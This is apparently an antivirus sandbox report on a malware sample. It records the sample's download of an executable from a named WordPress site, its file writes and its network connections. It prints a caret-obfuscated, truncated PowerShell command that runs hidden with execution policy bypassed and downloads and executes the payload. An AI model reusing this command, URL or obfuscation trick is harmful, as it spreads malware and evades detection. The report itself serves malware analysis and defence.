Technical Information
Malicious functions
Downloads and executes
- http://nexcontech.com/wp-content/ay4te/mdp5.exe as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c "P^OW^ErS^hElL^.e^xE -Exe^cUTI^Onp^OliCY b^Y^P^as^S ^-NOp^R^oFI^LE ^-W^INDOWSTy^lE H^i^DDEn (^NEw^-o^b^j^E^ct^ SY^sTEM^.^Ne^T^.WE^bc^liE^nT^).dOWNLoa^d^fi^le^('http://nexcont...
Modifies file system
Creates the following files
- %APPDATA%.exe
Network activity
Connects to
- 'ne###ntech.com':80
- 'ht##.#odhosting.net':80
TCP
HTTP GET requests
- http://ne###ntech.com/wp-content/Ay4TE/mdp5.exe
- http://ht##.#odhosting.net/404.html
UDP
- DNS ASK ne###ntech.com
- DNS ASK ht##.#odhosting.net
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c "P^OW^ErS^hElL^.e^xE -Exe^cUTI^Onp^OliCY b^Y^P^as^S ^-NOp^R^oFI^LE ^-W^INDOWSTy^lE H^i^DDEn (^NEw^-o^b^j^E^ct^ SY^sTEM^.^Ne^T^.WE^bc^liE^nT^).dOWNLoa^d^fi^le^('http://nexcont...' (with hidden window)
